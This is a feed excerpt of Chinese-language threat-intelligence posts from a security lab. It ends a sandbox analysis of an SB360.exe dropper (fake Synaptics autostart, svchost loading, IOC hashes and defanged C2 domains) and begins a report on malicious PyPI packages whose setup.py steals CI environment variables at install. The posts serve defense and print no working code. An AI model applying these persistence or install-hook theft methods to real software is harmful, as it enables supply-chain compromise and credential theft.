src="https://wechat2rss.xlab.app/img-proxy/?k=fe9f8b5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdsr9UhjhOjb4fqxVCpeDLRJBRs0RDfnhPqf1HDMrw2LVuwrVwAHuH7Qp3RbhG6qRgibZqPTCxCmLTeDLiaZHbGVdUakOtUiaIpX18%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图11 加载模块实现持久化</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.027777777777777776" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005421" src="https://wechat2rss.xlab.app/img-proxy/?k=ee3a5982&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMdvRNyqViaws9S6e6jewJZbUGYbnzoBRgzDbYhaPAqWHcw1EJVXTVBxqkmTaGzpOx8yce5ZskWEOXDtFHVYxQqVfVCaRicxVg8rWc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图12 GLK.exe 访问域名</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">沙箱报告进程信息部分展示了样本执行过程释放和创建子进程执行的逻辑关系，如图 13 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" alt="alt text" class="rich_pages wxw-img" data-ratio="0.844354018311292" data-type="png" data-w="983" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005422" src="https://wechat2rss.xlab.app/img-proxy/?k=81ccbf4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQSjGzxHEMduDmhxbYp8QCmICiaHqVRZV5cGna5TH68eIfMljB8vjtN3EiahYJq7GuQ4n7Kypr8WvqOecmkk7xHMBqPa6YEYWW3QaOLCIkMW3I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图13 样本进程信息</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">综上分析，该样本在执行后通过多级释放和执行子文件的方式构建了较为复杂的恶意执行链。SB360.exe 作为初始入口程序，通过释放并执行隐藏文件 ._cache_SB360.exe 实现后续恶意模块的加载。同时，攻击者利用伪装为系统驱动组件的自启动项 Synaptics Pointing Device Driver 建立初始持久化机制，并通过 Synaptics.exe 与外部域名建立通信。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">随后，恶意程序通过持续释放新的可执行文件（如 HD_._cache_SB360.exe、._cache_HD_._cache_SB360.exe、GLk.exe 等）逐级扩展其功能，并通过创建系统服务、设置开机自启动等方式实现多重持久化。同时，样本利用 svchost.exe 加载恶意组件以提高隐蔽性，并通过多个动态域名与外部服务器保持通信，从而实现远程控制或后续载荷的下载执行。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">四、IOC</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">恶意文件（MD5）</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">7f9f21ed23c68b5452945d6595ba589 SB360.exe</span></code><br/><code><span leaf="">95eb3a84be9bd0ae9e970f95df889584 ._cache_SB360.exe</span></code><br/><code><span leaf="">e6602803d2908eb659e19d7bb39a2a8c svchost.exe</span></code><br/><code><span leaf="">bc83f5c2166951713d82178e0e8bb5a8 Synaptics.exe</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">恶意IOC</span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">kinh<span class="code-snippet__selector-attr">[.]</span>xmcxmr<span class="code-snippet__selector-attr">[.]</span>com</span></code><br/><code><span leaf="">xred<span class="code-snippet__selector-attr">[.]</span>mooo<span class="code-snippet__selector-attr">[.]</span>com</span></code><br/><code><span leaf="">qq678833<span class="code-snippet__selector-attr">[.]</span>f08<span class="code-snippet__selector-attr">[.]</span><span class="code-snippet__number">87</span>yun<span class="code-snippet__selector-attr">[.]</span>club</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-weight: normal;">报告链接：[天穹沙箱分析报告](<a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=c107d81046ee7d61c9d4d8cc0ea7702e&amp;sk=68147171)</a></span></span></strong></p><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;font-weight: bold;">天穹智能分析平台</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">（联系我们申请账号）：<a href="https://sandbox.qianxin.com" target="_blank">https://sandbox.qianxin.com</a></span></span></span></strong></span></p><div data-role="outer" label="edit by 135editor" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);visibility: visible;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_jpg/lG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw/640?wx_fmt=jpeg" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-size: 100% 100%;background-attachment: scroll;border-style: solid;border-width: 2px 1px 1px;border-color: rgb(18, 94, 168) rgba(183, 217, 255, 0.39) rgba(183, 217, 255, 0.39);align-self: flex-start;flex: 0 0 auto;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5d7eaeef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlG0evzxL96mb6T0XCd0WWkltxz466LZkI7a6qOAWvwoqTuvPUGK2Okj4L0H6fK295GcaGrMkbh8VLpE3a1zwvw%2F640%3Fwx_fmt%3Djpeg&#34;);background-position: 50% 50%;background-repeat: no-repeat;"><div powered-by="xiumi.us" style="-webkit-tap-highlight-color: transparent;margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(62, 62, 62);"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">天穹智能分析平台持续迭代升级，致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-size: 16px;">如果您希望深入了解平台功能，或在使用过程中遇到任何问题，欢迎随时联系我们。您的反馈，是我们进步的重要动力！</span></span></p></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3a77b03f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247489076%26idx%3D1%26sn%3D6efee85d03241a1eb1bff49ace925b27">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 02 Mar 2026 17:48:00 +0800</pubDate>
    </item>
    <item>
      <title>【天问】发现针对CI/CD的PyPI恶意包投毒攻击</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247489049&amp;idx=1&amp;sn=18d9b2523cc0676276d45ff98f2a77ca</link>
      <description>天问监测模块在2026年2月发现了一批针对CI/CD的恶意软件包，通过包名伪装来诱导用户下载，在依赖安装阶段隐蔽执行恶意代码，从而窃取CI运行环境中的构建元数据与敏感环境变量。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-02-27 17:06</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b331b6a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQSjGzxHEMds7a6M6diad7l2kqhoOI8xyXpZv5kODAlCOUfJU4HlKNobEFTM5bNVPlRictMDAGavJSibosL3e0Qf7RrtrN8220iacqECjtvXLtHw%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">天问监测模块在2026年2月发现了一批针对CI/CD的恶意软件包，通过包名伪装来诱导用户下载，在依赖安装阶段隐蔽执行恶意代码，从而窃取CI运行环境中的构建元数据与敏感环境变量。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块，”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测，发现了大量的恶意包和攻击行为。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. 背景</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">随着 DevOps 和 CI/CD（Continuous Integration / Continuous Deployment）流程在软件工程中的广泛采用，自动化构建、测试和部署流水线已成为现代软件交付的核心基础设施。在这一过程中，CI/CD 系统通常需要从公共软件仓库（如 PyPI、npm、Maven Central 等）动态下载并安装大量第三方依赖包，以完成构建、测试及部署任务。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">然而，这种高度自动化、强依赖第三方组件的模式，也显著扩大了软件供应链的攻击面。攻击者可以通过向公共包仓库投递恶意依赖包（Malicious Package），诱导 CI/CD 流水线在构建阶段自动执行恶意代码，从而实现：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">敏感 CI 环境变量窃取（如 API Token、云平台密钥、SSH 私钥）</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">内网资产探测与横向移动</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">构建产物投毒，植入后门</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">持久化后门部署</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. 攻击样本概述</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">星图实验室天问软件供应链监测系统在春节期间发现了PyPI中出现的针对CI/CD的恶意软件包。我们挑选了其中3个来系统分析其攻击逻辑及危害，即</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">http_notifier_test-1.0.0</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">ci_metadata_python_logging-0.1.0</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">pylibcugraphops-23.12.0</span></code><span leaf="">。这些样本在命名、功能描述和行为逻辑上，均明显针对 CI/CD 场景进行定向投毒，具有典型代表性。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21296296296296297" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100005397" src="https://wechat2rss.xlab.app/img-proxy/?k=ca273620&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FQSjGzxHEMdtPibdsSUc0icQH4GPeIYOA5vDqFibFB9eoBDxtjCKTEJYegjZvHTNy2ZMCbQnnicLseqevcgmkY4DW94UzIZXtMMnhh5icaDIdJY5A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">从命名风格可观察到，攻击者刻意采用“CI”、“metadata”、“logging”、“test”等关键词，使包名看起来高度贴合自动化构建、测试与日志采集场景，从而降低人工审查与用户警惕。</span></p><hr style="box-sizing: content-box;height: 0px;width: 780px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. 恶意行为分析</span></h2><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.1 利用 setup.py 触发自动执行</span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">三个样本均将恶意逻辑嵌入于 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf=""> 中。由于 Python 包在安装时会自动执行 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">setup.py</span></code><span leaf="">，因此攻击者可在 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">pip install 阶段实现无感执行</span></strong><span leaf="">，极其适合 CI/CD 场景。这一阶段通常发生在：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">CI Runner</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">GitHub Actions / GitLab Runner</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">Jenkins Agent</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">云原生构建节点</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">且大多以 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">高权限、全自动、无人工干预</span></strong><span leaf=""> 的方式执行，为攻击者提供了极佳的攻击窗口。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: 